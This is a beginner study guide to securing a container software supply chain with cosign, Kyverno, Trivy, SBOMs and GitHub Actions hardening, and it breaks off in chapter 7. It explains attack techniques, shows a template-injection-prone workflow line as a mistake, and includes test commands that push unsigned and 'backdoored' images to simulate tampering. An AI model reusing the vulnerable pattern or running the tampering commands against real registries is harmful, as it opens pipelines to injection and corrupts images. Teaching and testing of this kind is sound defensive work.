

STUDY GUIDE · FROM ZERO TO RUNNING IT YOURSELF

Zero-Trust Software Supply Chain — Study Guide

Every tool explained for beginners: container images and digests, supply chain attacks, GitHub Actions security, SBOMs with Syft, vulnerability scanning with Trivy and Trivy Operator, keyless signing with Sigstore, SLSA provenance, admission control with Kyverno, pod security, GitOps with Argo CD, Prometheus and Grafana, the release pipeline and the end-to-end attack test, plus hands-on labs, a glossary and 25 interview questions.

Sufyan Ahmad · DevOps Engineer

<https://github.com/sufyanahmadkamboh/sufyan-devops-secure-supply-chain>

Contents

- 0. The big picture
- 1. Containers and images
- 2. Software supply chain attacks
- 3. GitHub Actions security
- 4. SBOM (Software Bill of Materials)
- 5. Vulnerability scanning (Trivy and Trivy Operator)
- 6. Signing with Sigstore (cosign, Fulcio, Rekor)
- 7. Attestations and SLSA provenance
- 8. Admission control with Kyverno
- 9. Pod security: a trusted image can still be run dangerously
- 10. GitOps with Argo CD
- 11. Monitoring: Prometheus alerts and a Grafana dashboard
- 12. The release pipeline, step by step
- 13. The end-to-end attack test
- 14. How everything fits together
- 15. Hands-on labs

Glossary

Interview questions

Each chapter: what the tool is, why this project uses it, how it works, where it is integrated, commands to try, common mistakes, and questions with answers.

0. The big picture

The story in one paragraph

A company runs its web shop on Kubernetes. Every time a developer merges code, a pipeline builds a container image and the cluster runs it. The question this project answers is: **how does the cluster know that the image it is about to run is really the one our pipeline built from our code, and that nobody swapped it, changed it or slipped in their own?** The answer: the pipeline puts a tamper-proof seal on every image, and the cluster checks the seal before it runs anything.

An analogy: the pharmacy

Think of a pharmacy.

- A medicine factory produces a box of tablets, **seals** it, and prints a **stamp** that says which factory made it, which batch it is and that it passed quality control.
- A truck brings the box to the pharmacy. Many people handle it on the way.
- Before handing the box to a patient, the **pharmacist checks**: is the seal intact? Is the stamp from *our* licensed factory? Did this batch pass the lab test?
- A box with a broken seal, no stamp, or a stamp from an unknown factory is **not handed out**, even if it looks right and arrived on the usual truck.

In this project:

Pharmacy	This project
The factory	the release workflow in GitHub Actions (<code>.github/workflows/release.yaml</code>)
The tablets	the container image <code>ghcr.io/sufyanahmadkamboh/storefront-api</code>
The seal	a cryptographic signature tied to the image's exact content (its digest)
The stamp: factory, batch, lab test	signed attestations : provenance (which code, which workflow), vulnerability scan, ingredient list (SBOM)
The truck	the image registry (GHCR) and GitOps (Argo CD)
The pharmacist	Kyverno , checking every Pod at the cluster door
A health inspector who visits later	Trivy Operator , re-scanning running images for problems discovered after delivery

The key insight: **the truck is not trusted**. The registry, the git repository and the deployment tool can all be tampered with. Only the seal and the stamp count.

Why this matters now

Software supply chain attacks are real and frequent. In 2026 alone:

- An automated campaign pushed malicious GitHub Actions workflows into thousands of repositories within hours, to steal deployment credentials.

- Attackers moved the version tags of a popular GitHub Action to a malicious commit, so every pipeline using that tag ran the attacker's code.
- Researchers showed that insecure workflow files let outsiders hijack the pipelines of large organisations.

If an attacker gets a registry password, a deploy key, or a way into your pipeline, a normal cluster will happily run whatever they push. This project makes that fail.

What happens on a normal release

1. A developer merges code to `main`.
2. The release workflow builds the image, **scans** it (no serious known vulnerabilities allowed), pushes it, and creates a **SBOM** (the list of everything inside).
3. It **signs** the image and **attests** the provenance, scan and SBOM, using a short-lived certificate that says "made by release.yaml on main of this repository". No secret key is stored anywhere.
4. A throwaway test cluster runs a series of **attacks** against the new image. If any attack succeeds, the release stops.
5. The workflow writes the image's exact digest into the deployment files in git.
6. **Argo CD** notices the change and asks Kubernetes to run it.
7. **Kyverno** checks the seal and the stamps, rewrites the image reference to the exact digest it verified, and only then lets the Pod start.
8. **Trivy Operator** keeps scanning running images; **Prometheus** alerts if something is blocked or a new vulnerability appears.

What an attacker can no longer do

The attacker has...	Result
the registry password	can push images, but they carry no valid seal → refused
write access to the deployment files in git	Argo CD applies the change, Kyverno refuses the pods → the old version keeps running
a malicious workflow injected into the repository	it can sign, but its certificate names the wrong workflow → refused
a fake "clean scan" document	it is not signed by the release workflow → refused
a genuine image, but wants to run it as root/privileged	refused by the pod security rules

And what it does **not** protect against (honesty matters): someone who can change `release.yaml` itself on `main`, or a cluster administrator who deletes the policies. Those are protected by process (code review, branch protection, access control), described in chapter 14.

The tools, one line each

Tool	Job here
Docker / distroless	build a tiny image with nothing but the program
GitHub Actions	the build platform; its identity is the signing identity

Tool	Job here
Trivy	scan for known vulnerabilities (build gate)
Syft	produce the SBOM
Sigstore cosign	sign and attest, keyless
Kyverno	check every Pod at admission time
Argo CD	deploy from git (GitOps)
Trivy Operator	re-scan images that are already running
Prometheus + Grafana	alerts and dashboard
kind	throwaway Kubernetes clusters for the lab and the CI attack test

Check yourself

1. In the pharmacy analogy, who plays the pharmacist, and what exactly do they check?
2. Why is "the image came from our own registry" not enough?
3. Name two things this project does not protect against.

Answers

▼ Answers

1. Kyverno. For every Pod it checks the signature (seal) made by the release workflow, and the signed provenance, scan and SBOM attestations (stamps), before the Pod may start.
2. Anyone with the registry password (or a stolen CI token) can push images into that registry, and tags can be moved to different content. Only a signature from the trusted build identity proves who built the exact content.
3. A person who can change `release.yaml` on `main` (they control the trusted identity), and a cluster administrator who can remove the policies.

1. Containers and images

What is it?

A **container image** is a packaged program plus everything it needs to run (libraries, files, settings), stored as a set of read-only **layers**. A **container** is a running instance of an image. A **registry** is a server that stores images (Docker Hub, GitHub Container Registry `ghcr.io`, AWS ECR...).

Why it matters for this project

Everything this project protects is an image. To understand how an image can be swapped or tampered with, you need to know how images are named and stored.

Alternatives to container images for shipping software: virtual machine images, OS packages (deb/rpm), plain binaries. Kubernetes runs containers, so images are the unit here.

How it works

Layers and the manifest

An image is a list of layers (tar files) plus a configuration, described by a small JSON document called the **manifest**. Each layer and the manifest are identified by the SHA-256 hash of their content.

Tags vs digests

An image can be referenced in two ways:

Reference	Example	Can it change?
tag	<code>ghcr.io/sufyanahmadkamboh/storefront-api:sha-df34de356ff1</code>	yes , anyone with push rights can point the tag at different content
digest	<code>ghcr.io/sufyanahmadkamboh/storefront-api@sha256:e9b0f3...</code>	no , the digest <i>is</i> the hash of the content; different content = different digest

A tag is like a shelf label; a digest is like a fingerprint. Security decisions must be made on digests.

Registries

`docker push` uploads layers and the manifest; the registry answers with the digest. Signatures and attestations made by cosign are stored in the same registry, next to the image, as extra artifacts (tags like `sha256-<digest>.sig` and `.att`).

Distroless images

A **distroless** image contains only the program and the minimum runtime files: no shell, no package manager, no extra tools. Less inside means fewer vulnerabilities and nothing for an attacker to use after breaking in.

Where it is integrated

The service is a small Go program, `app/main.go`, with endpoints `/healthz`, `/version` and `/api/products`. The `app/Dockerfile` builds it in two stages, with both base images **pinned by digest**:

```
# Base images are pinned by digest: a tag can be moved to different content, a digest cannot.
FROM golang:1.27.1-trixie@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS
build
...
RUN go test ./... \
    && CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -trimpath -buildvcs=false \
        -ldflags="-s -w -buildid= -X main.version=${VERSION} -X main.commit=${COMMIT}" -o /out/storefront-
api .

# No shell, no package manager, runs as uid 65532.
FROM gcr.io/distroless/static-
debian13:nonroot@sha256:e2e927ec666bae08560abb3c55d0659eceabb657f56b6782ab500a9fc7f555e3
COPY --from=build /out/storefront-api /storefront-api
USER 65532:65532
```

- The unit tests run *inside* the build: if they fail, no image exists.
- `-trimpath`, `-buildid=` and `-buildvcs=false` make the binary more reproducible (no local paths or random IDs inside).
- `VERSION` and `COMMIT` are baked in, so `/version` tells you which commit is running.

The deployment files reference the image only by digest (`deploy/prod/kustomization.yaml`):

```
images:
- name: ghcr.io/sufyanahmadkamboh/storefront-api
  digest: sha256:...
```

Try it

```
source scripts/lib.sh
# list what is stored in the registry: image tags plus .sig/.att artifacts
tb crane ls ghcr.io/sufyanahmadkamboh/storefront-api
# resolve a tag to its digest
tb crane digest ghcr.io/sufyanahmadkamboh/storefront-api:<a sha-... tag from the list>
# look at the manifest (layers and their digests)
tb crane manifest ghcr.io/sufyanahmadkamboh/storefront-api:<tag> | tb jq .
```

Common mistakes

- Deploying `:latest` or any tag in production. The content behind a tag can change without any change in your git repository.
- Using a "full" base image (with shell, package manager, compilers) for a program that needs none of it.
- Pinning only the final base image, not the build image: a moved build image can inject code into your binary.

Check yourself

1. What is the difference between a tag and a digest?

2. Why does this project pin `golang` and `distroless` by digest even though they come from official publishers?
3. Where does cosign store an image's signature?

Answers

▼ Answers

1. A tag is a movable name; a digest is the SHA-256 hash of the image manifest and therefore identifies exactly one content.
2. Tags of official images are updated regularly (and could be moved maliciously). A digest guarantees the build always uses the exact same base content; Dependabot proposes updates as reviewed pull requests.
3. In the same registry repository, as a separate artifact linked to the image digest (in this project the classic `sha256-<digest>.sig` tag; attestations in `sha256-<digest>.att`).

2. Software supply chain attacks

What is it?

The **software supply chain** is everything between a developer's keyboard and the program running in production: source code, dependencies, base images, the CI system and its plugins, the registry, the deployment tool. A **supply chain attack** compromises one of these links, so that production runs the attacker's code while everyone believes it is their own.

Why this project exists

Most clusters trust *locations*: "images from our registry" or "whatever Argo CD deploys from our repo". Every one of those locations can be written to by more people and machines than you think. This project replaces trust in locations with **verifiable proof of origin**.

How the attacks work

Attack	What the attacker does	Real-world pattern
Stolen registry token	pushes their own image into your repository, maybe under an existing tag	leaked CI secrets, a developer laptop compromise
Moved tag	points a tag (<code>:1.2</code> , <code>:latest</code> , or a GitHub Action's <code>@v4</code>) at different content	2025–2026 incidents where popular GitHub Action tags were redirected to malicious commits
Tampered image	takes your real image, adds a layer with a backdoor, pushes it back	anyone with registry write access
Injected workflow	adds a new workflow file to a repository that runs with the repo's permissions	a 2026 campaign pushed malicious workflows into thousands of repositories within hours
Template injection	puts shell code into a PR title or branch name that a workflow pastes into a <code>run:</code> step	the "Cordyceps" class of workflow flaws
Malicious commit to deploy files	changes the image in the GitOps repository	a stolen deploy key or a compromised bot account
Vulnerable dependency	not an attack by itself, but a known hole someone will use later	a CVE published after you deployed

Why "it came from our registry" proves nothing

A registry stores whatever an authenticated client pushes. It does not know *who built* the content or *from which code*. The same is true for git: Argo CD deploys whatever is committed. So the proof must travel **with the image**, be **tied to its exact content** (the digest), and identify the **build process**, not a person or a server. That is what signatures and attestations do (chapters 6 and 7), and what admission control enforces (chapter 8).

Where it is integrated

The [architecture document](#) has a trust-boundary table listing each attacker capability and what stops it. The end-to-end test, `scripts/e2e.sh`, simulates several of these attacks for real on every release:

```
# unsigned: a completely different image pushed into our repository
crane copy docker.io/library/busybox:1.37 $IMAGE:e2e-unsigned-$RUN
# tampered: the trusted image plus one extra layer (a 'backdoor' file), same name
crane append -b $TRUSTED -f /tmp/bd.tar -t $IMAGE:e2e-tampered-$RUN
```

Try it

Look at the registry and notice there is nothing in a tag that tells you who built the image:

```
source scripts/lib.sh
tb crane config ghcr.io/sufyanahmadkamboh/storefront-api:<tag> | tb jq .config.Labels
```

The labels (`org.opencontainers.image.source`, `...revision`) are just text in the image. Anyone can write any label. Compare that with chapter 6, where the identity comes from a certificate issued to the build.

Common mistakes

- Treating image labels or tag names as proof of origin.
- Signing images with a long-lived private key stored as a CI secret. Whoever steals the secret can sign anything, which brings back the original problem.
- Protecting the registry but not the CI workflows that have write access to it.

Check yourself

1. Name three different ways an attacker could get their code into a cluster that trusts "images from our registry".
2. Why must the proof of origin be tied to the digest?
3. Why is a malicious commit to the deploy files dangerous in plain GitOps?

Answers

▼ Answers

1. Push with a stolen registry token; move a tag to different content; inject a workflow that builds and pushes from the repo; tamper with an existing image and push it back.
2. Because the digest identifies the exact content. A proof tied to a tag or a name could be reused for different content.
3. GitOps tools apply whatever is in git. Without admission checks, changing one image line in a manifest is enough to run any image in production.

3. GitHub Actions security

What is it?

GitHub Actions runs workflows (YAML files in `.github/workflows/`) on GitHub-hosted machines when something happens in a repository: a push, a pull request, a schedule. Workflows are made of **jobs**, jobs of **steps**, and steps either run shell commands (`run:`) or use reusable components called **actions** (`uses:`).

Why it matters here

In this project the CI system is not just a helper: the release workflow's **identity is the trust anchor**. Production admits only images signed by `.github/workflows/release.yaml` on `refs/heads/main`. So the workflows themselves must be hard to abuse.

Alternatives: GitLab CI (similar OIDC identity features), Jenkins (no built-in workload identity; keyless signing needs extra setup), Tekton Chains (signs in-cluster).

How it works

Permissions of GITHUB_TOKEN

Every job gets a token. By default it can be broad. The safe pattern: **deny everything at the top, grant per job only what it needs**.

OIDC tokens

With `id-token: write`, a job can ask GitHub for a short-lived **OIDC token**: a signed statement such as "this is repository X, workflow file Y, ref Z, run N". Other services (here: Sigstore's Fulcio) trust GitHub's signature and issue credentials based on those claims. No password is stored.

Pinning actions to commit SHAs

`uses: actions/checkout@v7` follows a tag, which can be moved. `uses: actions/checkout@3d3c42e5...` follows one commit, which cannot change. Keep the version as a comment for humans.

Template injection

`run: echo "${{ github.event.pull_request.title }}"` pastes attacker-controlled text into a shell script. Pass such values through `env:` instead, where the shell treats them as data.

persist-credentials

`actions/checkout` leaves the token in `.git/config` unless `persist-credentials: false`. Later steps (or a malicious dependency) could read it.

Linters for workflows

- **actionlint** checks syntax, expressions and shell scripts in workflows.
- **zizmor** looks for security problems: template injection, excessive permissions, persisted credentials, unpinned actions.

Process controls

- **Branch protection:** no direct pushes to `main`, reviews required.
- **CODEOWNERS:** certain paths need approval from named owners.
- **Dependabot:** proposes updates for pinned SHAs and digests, so pinning does not mean "stuck on old versions".

Where it is integrated

Every workflow starts with `permissions: {}` and grants per job. From [.github/workflows/release.yaml](#):

```
permissions: {}
...
build:
  permissions:
    contents: read
    packages: write    # push the image and its signatures to GHCR
    id-token: write    # keyless signing: GitHub OIDC token -> Fulcio certificate
  steps:
    - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
      with:
        persist-credentials: false
```

Values from GitHub contexts go through `env:`, never directly into `run:`:

```
- name: SBOM, vulnerability report and provenance
  env:
    DIGEST: ${ steps.push.outputs.digest }
  run: |
    syft scan --quiet "registry:${IMAGE}@${DIGEST}" -o cyclonedx-json=sbom.cdx.json
```

Tools are installed from official downloads with a pinned SHA-256 instead of third-party actions ([scripts/ci/install-tools.sh](#)):

```
fetch() { # url sha256 file
  curl -fsSL --retry 3 -o "$work/$3" "$1"
  echo "$2 $work/$3" | sha256sum -c - >/dev/null
}
```

A script fails the build if any action is not pinned to a commit ([scripts/ci/check-pinned-actions.sh](#)):

```
if [[ ! "$ref" =~ @[0-9a-f]{40}$ ]]; then
  echo "NOT PINNED: $file -> $ref"
  bad=1
fi
```

The `ci` workflow ([.github/workflows/ci.yaml](#)) runs that script, actionlint, and zizmor (installed with `--require-hashes` from [tools/zizmor-requirements.txt](#)). [.github/CODEOWNERS](#) puts workflows, policies and platform files under owner review, and [.github/dependabot.yaml](#) keeps actions, Docker base images and Go modules up to date.

Try it

```
bash scripts/ci/check-pinned-actions.sh
# then change one "uses:" line to @v7 and run it again: it fails and names the file
docker run --rm -v "$PWD:/repo" -w /repo rhysd/actionlint:1.7.12
pip install zizmor==1.30.1 && zizmor --min-severity low .github/workflows
```

Common mistakes

- `permissions: write-all` "to make it work".
- Pinning to a tag and believing it is pinned.
- Using `pull_request_target` with a checkout of the PR's code (it runs untrusted code with write permissions).
- Giving `id-token: write` to every job: any job with it can obtain a signing identity.

Check yourself

1. Why does the `promote` job have `contents: write` but no `id-token: write`?
2. What is wrong with `run: echo "${{ github.head_ref }}"`?
3. If actions are pinned to SHAs, how do you get security updates?

Answers

▼ Answers

1. It only commits a digest to git. It never signs anything, so it must not be able to obtain a signing identity.
2. The branch name is attacker-controlled and pasted into a shell script before it runs (template injection). Pass it via `env:` and use `"$VAR"`.
3. Dependabot proposes pull requests that update the SHA (with the new version in the comment); they go through review and CI like any other change.

4. SBOM (Software Bill of Materials)

What is it?

An **SBOM** is the list of ingredients of a piece of software: every package, library and module inside an image, with versions and licences. **CycloneDX** and **SPDX** are the two standard formats. **Syft** is a tool that looks inside an image and writes its SBOM.

Why this project uses it

- When a new vulnerability is announced ("library X before 1.4.2 is affected"), the SBOM answers in seconds: *is it inside anything we run?*
- Regulations increasingly require SBOMs (the EU Cyber Resilience Act, US federal procurement rules).
- Here the SBOM is **signed** as an attestation, so it cannot be swapped for a cleaner-looking one.

Alternatives: Trivy can also generate SBOMs; `docker sbom` (uses Syft); language-specific tools (`cyclonedx-gomod`). Syft was chosen because it covers OS packages and Go binaries in one pass and outputs both standards.

How it works

Syft reads the image layers, recognises package databases (Debian dpkg status, Go build info embedded in binaries, Python metadata...) and writes a JSON document listing **components**. For a distroless Go image the list is short: the Go modules compiled in, the Go standard library, and the few Debian files in the distroless base.

Where it is integrated

In `.github/workflows/release.yaml`, right after the push (so the SBOM describes exactly the published digest):

```
run: |
  syft scan --quiet "registry:${IMAGE}@${DIGEST}" -o cyclonedx-json=sbom.cdx.json
  ...
  jq '{components: (.components | length)}' sbom.cdx.json
```

Then it is signed and attached to the image:

```
cosign attest "${legacy[@]}" --type cyclonedx --predicate sbom.cdx.json "${IMAGE}@${DIGEST}"
```

The cluster requires it: `policies/base/verify-images.yaml` declares the attestation type `https://cyclonedx.org/bom` and the rule "no signed SBOM from the release workflow" denies Pods without one. The SBOM is also uploaded as part of the `supply-chain-evidence` artifact of every release run.

Try it

```
ID=https://github.com/sufyanahmadkamboh/sufyan-devops-secure-supply-
chain/.github/workflows/release.yaml@refs/heads/main
IMG=ghcr.io/sufyanahmadkamboh/storefront-api@sha256:<digest from deploy/prod/kustomization.yaml>
source scripts/lib.sh
tb cosign verify-attestation --type cyclonedx \
  --certificate-identity "$ID" --certificate-oidc-issuer https://token.actions.githubusercontent.com
"$IMG" \
  | tb jq -r '.payload' | base64 -d | tb jq '.predicate.components[] | "\(.name) \(.version)"' | head
-20
```

Common mistakes

- Generating the SBOM from the source directory instead of the built image (you miss the base image contents).
- Keeping SBOMs as unsigned files on a wiki: nobody can prove which image they describe.
- Generating an SBOM and never using it. Its value comes from searching it when a CVE is announced.

Check yourself

1. Why is the SBOM made after the push, from `registry:${IMAGE}@${DIGEST}` ?
2. What does the admission policy check about the SBOM?
3. Give one practical use of an SBOM during an incident.

Answers

▼ Answers

1. So that it describes exactly the content that was published under that digest, the same thing that gets signed and deployed.
2. That a CycloneDX attestation exists for the image and is signed by the release workflow identity.
3. When a new CVE in a library is announced, search the SBOMs of running images to find out within seconds which services include the affected version.

5. Vulnerability scanning (Trivy and Trivy Operator)

What is it?

A **vulnerability scanner** compares the packages inside an image with public databases of known security holes. Each hole has an ID (a **CVE**, for example CVE-2025-12345) and a **severity**: LOW, MEDIUM, HIGH, CRITICAL. **Trivy** is a widely used open-source scanner. **Trivy Operator** runs Trivy *inside* a Kubernetes cluster and keeps scanning the images that are actually running.

Why this project uses both

	Trivy in the pipeline	Trivy Operator in the cluster
When	once, at build time	continuously, for running workloads
Purpose	gate : never publish an image with known serious holes	watch : catch CVEs published <i>after</i> the image was built
Result	build fails, or a signed scan report (attestation)	VulnerabilityReport objects + Prometheus metrics + alert

A scan is a snapshot of today's knowledge. An image that is clean today can be vulnerable tomorrow, when a new CVE is published. That is why both are needed.

Alternatives: Grype (Anchore), Snyk, registry-side scanning (GHCR, ECR, Harbor), Docker Scout.

How it works

- Trivy downloads its vulnerability database, lists the image's packages and matches versions against known affected ranges.
- `--ignore-unfixed` hides CVEs that have no fixed version yet (you cannot act on them by upgrading). `--exit-code 1` makes the command fail when findings remain.
- `--format cosign-vuln` writes the report in the shape cosign expects for a vulnerability attestation (`scanner.result` holds Trivy's normal JSON).
- Trivy Operator watches Pods in chosen namespaces, starts scan jobs for their images, stores a `VulnerabilityReport` per workload and exposes the counts as the metric `trivy_image_vulnerabilities`.

Where it is integrated

The gate, in `.github/workflows/release.yaml`, before anything is pushed:

```
- name: Vulnerability gate (no fixable CRITICAL or HIGH)
  run: |
    trivy image --quiet --exit-code 1 --severity CRITICAL,HIGH --ignore-unfixed
    "${IMAGE}:sha-${GITHUB_SHA:0:12}"
```

The signed report for the published digest, which the cluster checks:

```
trivy image --quiet --format cosign-vuln -o vuln.json "${IMAGE}@${DIGEST}"
cosign attest "${legacy[@]}" --type vuln --predicate vuln.json "${IMAGE}@${DIGEST}"
```

The admission rule in `policies/base/verify-images.yaml` reads that signed report:

```
- expression: >-
  images.containers.all(image,
    extractPayload(image, attestations.vulnerabilities).predicate.scanner.result.Results.all(r,
      !has(r.Vulnerabilities) || r.Vulnerabilities.all(v, v.Severity != "CRITICAL" && v.Severity
        != "HIGH")))
  message: the signed scan lists CRITICAL or HIGH vulnerabilities
```

Trivy Operator is installed by `scripts/platform-up.sh`, limited to the namespaces that matter:

```
helm upgrade --install trivy-operator aqua/trivy-operator --version $TRIVY_OPERATOR_CHART -n trivy-
system --create-namespace \
  --set targetNamespaces='prod\sandbox' \
  --set trivy.severity='CRITICAL\,HIGH' \
```

And the alert in `platform/monitoring/rules.yaml`:

```
- alert: RunningImageHasCriticalVulnerabilities
  expr: sum by (namespace, image_repository, image_tag, image_digest)
(trivy_image_vulnerabilities{severity="Critical"}) > 0
  for: 5m
```

Try it

```
source scripts/lib.sh
# run something old in the sandbox (audit mode: allowed, but reported)
k -n sandbox run old-nginx --image=docker.io/library/nginx:1.21.0 --restart=Never
# a few minutes later:
k -n sandbox get vulnerabilityreports
k -n sandbox get vulnerabilityreports -o json | tb jq '.items[].report.summary'
```

Common mistakes

- Scanning only at build time and assuming the image stays safe.
- Failing builds on unfixable CVEs: the team learns to disable the scanner. `--ignore-unfixed` keeps the gate actionable.
- Trusting a scan report that is not signed: an attacker could supply a "clean" report for a bad image.

Check yourself

1. Why does a clean build-time scan not mean the running image is safe next month?
2. Why does the admission policy read the scan from an attestation instead of scanning the image itself?
3. What does `--ignore-unfixed` change, and why is it used for the gate?

Answers

▼ Answers

1. New CVEs are published all the time for packages that are already inside the image. Trivy Operator re-scans running images with the latest database.
2. Scanning during admission would be slow and need a vulnerability database in the admission path. The signed report from the release workflow is fast to check and cannot be forged by someone else.
3. It ignores vulnerabilities that have no fixed version yet. The gate then only fails for problems the team can actually fix by updating, so it stays usable.

6. Signing with Sigstore (cosign, Fulcio, Rekor)

What is it?

Sigstore is an open-source project (Linux Foundation / OpenSSF) for signing software without managing keys. It has three parts:

Part	Job
cosign	the command-line tool that signs and verifies images and attestations
Fulcio	a certificate authority that issues short-lived certificates (about 10 minutes) to an identity proven by an OIDC token
Rekor	a public, append-only transparency log : every signature is recorded there, with a timestamp

Why this project uses it

A classic signing key is a secret that can be stolen. Whoever has it can sign anything forever. With **keyless signing** there is no long-lived key: the release job proves *who it is* to Fulcio with GitHub's OIDC token, gets a certificate valid for minutes, signs, and the signature is logged in Rekor. The certificate names the **exact workflow file and git ref**, so the verifier can demand: "signed by `release.yaml` on `main` of this repository".

Alternatives: cosign with a stored key pair or a cloud KMS key; Notary v2 / Notation (X.509 certificates, common with Azure); GPG-signed images (rarely supported by runtimes).

How it works

1. The job requests an OIDC token from GitHub (allowed by `id-token: write`).
2. cosign creates a fresh key pair in memory and sends the public key + token to **Fulcio**.
3. Fulcio checks the token with GitHub and issues a certificate whose **subject** is the workflow identity, for example `https://github.com/sufyanahmadkamboh/sufyan-devops-secure-supply-chain/.github/workflows/release.yaml@refs/heads/main` and whose **issuer** is `https://token.actions.githubusercontent.com`.
4. cosign signs the image **digest**, uploads the signature + certificate to the registry, and records it in **Rekor**.
5. The private key is thrown away.

To verify, you do not need any key: check that the certificate chains to Fulcio, that the subject and issuer are the ones you expect, that the signature matches the digest, and that the Rekor entry proves the signature was made while the certificate was valid.

Why the identity is a workflow file

Every workflow in the repository can get an OIDC token, but each token says *which* workflow it came from. Trusting `release.yaml@refs/heads/main` (and nothing else) means an injected workflow, a pull request branch, or the e2e test workflow can sign images, but those signatures name a different identity and are refused.

Why the classic signature format

cosign 3 writes signatures in a new "bundle" format by default. In this project's tests, Kyverno 1.19's ImageValidatingPolicy verified classic signatures (`.sig` / `.att` artifacts) but did not find signatures in the new format. So the pipeline signs with `--new-bundle-format=false --use-signing-config=false` (see [docs/troubleshooting.md](#)).

Where it is integrated

`.github/workflows/release.yaml` :

```
- name: Sign and attest (keyless, recorded in Rekor)
  env:
    DIGEST: ${ steps.push.outputs.digest }
  run: |
    legacy=(--new-bundle-format=false --use-signing-config=false --yes)
    cosign sign "${legacy[@]}" "${IMAGE}@${DIGEST}"
```

Right after, the workflow verifies what it published with the same identity rule the cluster uses:

```
id="${GITHUB_SERVER_URL}/${GITHUB_REPOSITORY}/.github/workflows/release.yaml@refs/heads/main"
cosign verify --certificate-identity "$id" \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com "${IMAGE}@${DIGEST}" >
/dev/null
```

The cluster side, `policies/base/verify-images.yaml` :

```
attestors:
- name: release-workflow
  cosign:
    keyless:
      identities:
        - issuer: https://token.actions.githubusercontent.com
          subject: https://github.com/sufyanahmadkamboh/sufyan-devops-secure-supply-chain/.github/workflows/release.yaml@refs/heads/main
      ctlog:
        url: https://rekor.sigstore.dev
```

Try it

```
source scripts/lib.sh
ID=https://github.com/sufyanahmadkamboh/sufyan-devops-secure-supply-chain/.github/workflows/release.yaml@refs/heads/main
IMG=ghcr.io/sufyanahmadkamboh/storefront-api@sha256:<digest from deploy/prod/kustomization.yaml>
tb cosign verify --certificate-identity "$ID" --certificate-oidc-issuer
https://token.actions.githubusercontent.com "$IMG" | tb jq '.[0].optional'
# now ask for a different identity: verification fails
tb cosign verify --certificate-identity "${ID}/release.yaml/e2e.yaml" --certificate-oidc-issuer
https://token.actions.githubusercontent.com "$IMG"
```

The `optional` block shows the Fulcio certificate claims: subject, issuer, repository, commit SHA, workflow ref.

Common mistakes

- Verifying with `--certificate-identity-regex '.*'` : that accepts *anyone* who can get a Sigstore certificate. Pin the exact identity.
- Signing a tag instead of a digest.
- Trusting "any workflow of my repository": an injected workflow then becomes trusted.
- Forgetting the Rekor URL in the Kyverno attestor when the transparency log is not ignored ("rekor URL must be provided").

Check yourself

1. What is stored as a secret for signing in this project?
2. Which two values does the cluster compare in the certificate?
3. Why would trusting the identity regex `.*sufyan-devops-secure-supply-chain/.*` be a bad idea?

Answers

▼ Answers

1. Nothing. The signing key exists only in memory for one signature; the identity comes from GitHub's OIDC token via Fulcio.
2. The subject (the workflow file and ref: `.../release.yaml@refs/heads/main`) and the issuer (`https://token.actions.githubusercontent.com`).
3. It trusts every workflow and every branch of the repository, including an injected malicious workflow, pull request branches and the e2e workflow. Only the release workflow on main should be trusted.

7. Attestations and SLSA provenance

What is it?

A signature says "this identity vouches for this digest". An **attestation** says *something specific* about the digest and is signed too: "this is its SBOM", "this is its vulnerability scan", "this is how it was built". The common format is an **in-toto statement**:

```
{
  "_type": "https://in-toto.io/Statement/v1",
  "subject": [{"name": "ghcr.io/...", "digest": {"sha256": "..."}},
  "predicateType": "https://slsa.dev/provenance/v1",
  "predicate": { ... the actual content ... }
}
```

SLSA (Supply-chain Levels for Software Artifacts) defines a standard **provenance** predicate: which source, which build process, which run produced the artifact.

Why this project uses it

- The cluster can check not only *who* signed, but *what* they claimed: built from this repository's `main`, scan clean, SBOM present.
- Because attestations are signed by the release identity, an attacker cannot hand in a forged "clean scan" or "built from main" document.

Alternatives: GitHub's built-in artifact attestations (stored in GitHub's attestation API), the SLSA GitHub generator (builds provenance in an isolated reusable workflow for SLSA Build L3), Tekton Chains.

How it works

`cosign attest --type <type> --predicate <file> <image@digest>` wraps the predicate into an in-toto statement whose subject is the digest, signs it with the same keyless flow as chapter 6, and stores it next to the image. This project creates three:

<code>--type</code>	<code>predicateType</code>	Content
<code>slsaprovenance1</code>	<code>https://slsa.dev/provenance/v1</code>	repository, ref, workflow path, commit, builder, run URL
<code>vuln</code>	<code>https://cosign.sigstore.dev/attestation/vuln/v1</code>	Trivy's scan result
<code>cyclonedx</code>	<code>https://cyclonedx.org/bom</code>	the SBOM

Where it is integrated

The provenance predicate is written by `scripts/ci/provenance.sh` from facts the runner provides:

```
repo_url="$GITHUB_SERVER_URL/$GITHUB_REPOSITORY"
...
  buildDefinition: {
    buildType: "https://github.com/sufyanahmadkamboh/sufyan-devops-secure-supply-
chain/buildtypes/docker-build/v1",
    externalParameters: {
      workflow: {repository: $repo, ref: $ref, path: $path}
    },
    ...
    resolvedDependencies: [
      {uri: ("git+" + $repo + "@" + $ref), digest: {gitCommit: $sha}}
    ]
  },
  runDetails: {
    builder: {id: $builder},
    metadata: {invocationId: $run, startedOn: $started, finishedOn: $finished}
  }
}
```

Signed in [.github/workflows/release.yaml](#) :

```
cosign attest "${legacy[@]}" --type slsaprovenance1 --predicate provenance.json "${IMAGE}@${DIGEST}"
cosign attest "${legacy[@]}" --type vuln --predicate vuln.json "${IMAGE}@${DIGEST}"
cosign attest "${legacy[@]}" --type cyclonedx --predicate sbom.cdx.json "${IMAGE}@${DIGEST}"
```

Checked in [policies/base/verify-images.yaml](#) . Note `extractPayload(...)` returns the whole statement, so the content is under `.predicate` :

```
- expression: >-
  images.containers.all(image,
    extractPayload(image,
      attestations.provenance).predicate.buildDefinition.externalParameters.workflow.repository
      == "https://github.com/sufyanahmadkamboh/sufyan-devops-secure-supply-chain"
    && extractPayload(image,
      attestations.provenance).predicate.buildDefinition.externalParameters.workflow.ref
      == "refs/heads/main")
  message: provenance does not show a build of this repository's main branch
```

An honest limit

The provenance is generated and signed in the same job that builds the image. That is good evidence (it is bound to the release identity), but it is not **SLSA Build Level 3**, which requires that the build cannot influence the provenance (an isolated builder). The [architecture decision log](#) records this trade-off (decision 14). Moving provenance generation into an isolated reusable workflow, such as the SLSA GitHub generator, would close that gap.

Try it

```
source scripts/lib.sh
ID=https://github.com/sufyanahmadkamboh/sufyan-devops-secure-supply-
